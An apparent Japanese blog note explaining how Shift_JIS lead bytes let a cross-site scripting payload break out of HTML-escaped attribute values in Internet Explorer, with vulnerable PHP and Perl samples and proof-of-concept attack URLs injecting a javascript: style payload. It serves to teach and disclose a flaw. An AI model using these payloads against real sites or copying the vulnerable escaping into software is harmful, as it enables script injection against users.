Cross-Site Scripting

根が深い。(ぇ

文字コードSJIS)とHTMLエンコードとCross-Site Scriptingの微妙な関係

もしかしたら周知の事実で私だけ遅れてるのかもしれないけど、メモってことで。IE限定。

PHPでHTMLエンコードされてるサンプルコードを書いてみた。

サンプルコード(SJISで保存してください)
<form>
text: <input type='text' name='text' value="<?= htmlspecialchars($_GET{'text'}) ?>"><br>
text2: <input type='text' name='text2' value="<?= htmlspecialchars($_GET{'text2'}) ?>"><br>
<input type=submit value="送信">
</form>

で、localhostに置いて、以下のURLに「IE」でアクセスしてみた。

攻撃の例
http://localhost/break_quote.php?text=text%81&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%81

あら不思議。「"」でvalueが括られてて、「"」「<」「>」のHTML特殊文字がHTMLエンコードされてるのにXSS動くんだ・・・って感じ。今まで知らずでした。ちなみにPerlのサンプルは↓な感じ。

サンプルコード
use CGI;
my $query=CGI->new();
my @text=($query->param('text'),$query->param('text2'));
print $query->header();
foreach(@text){
   $_ =~ s/</&lt;/ig;
   $_ =~ s/>/&gt;/ig;
   $_ =~ s/"/&quot;/ig;
}
print <<"EOM";
<form>
text: <input type='text' name='text' value="$text[0]"><br>
text2: <input type='text' name='text2' value="$text[1]"><br>
<input type=submit value="送信">
</form>
EOM

攻撃の例
http://localhost/break_quote.cgi?text=text%81&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%81

動く条件は、同時に2箇所挿入できる場所で、間に「"」*1が無い事。FireFoxでもタグは壊れるが、なんか動かん。悲しい。*2

ごくたまに、valueだけ括ってる場合があるけど、それだときっと動くのね。あははん。

説明

↑はなんかだいぶ端折っちゃった。あは。

まず、IEだと、複数行に渡って属性を記述することが可能です。

属性記述の例
<input type="text" value="t
e
s
t
">

そこで、こんなことも可能なわけです。

属性記述の例
<input type="text" name="text1" value="text1">
<input type="text" name="text2" value="text2">
   ↓
<input type="text" name="text1" value="" test='">
<input type="text" name="text2" value="
' style=background:url(javascript:alert('xss')) "">

2つで1個のタグとして動作させられます。*3

そこで、つまり、終わりの「"」を別の文字に変化させれば、属性が続いていることになり、次の「"」までが属性になってしまいます。その後ろにスペースを入れてあげれば、続けて属性を記述できます。

後は、つじつまを合わせるために、後ろ側の「"」も無効にしてあげればいいのです。上の例の攻撃成功時のHTMLをベースに色分けしてみました。

<form>
text: <input type='text' name='text' value="text[%81"で別の文字になる]><br>
text2: <input type='text' name='text2' value="
style=background:url(javascript:alert('xss')) [%81"で別の文字になる]><br>
<input type=submit value="送信">
</form>

という感じ。緑のところがごっそり属性値になっちゃいましたとさ。という感じなんです。

ちなみに%81にしてるところは、%81〜%8fまでいけます。%E1〜%EFもいけたように見えました。

*1:シングルクオートでも同じことができます。

*2:style属性使ってたから動かなかった。イベントハンドラとか使えばいけるっぽい。21なヤマガタさんどうもです♪

*3:こういうことをしないとXSSできない場合は稀ですが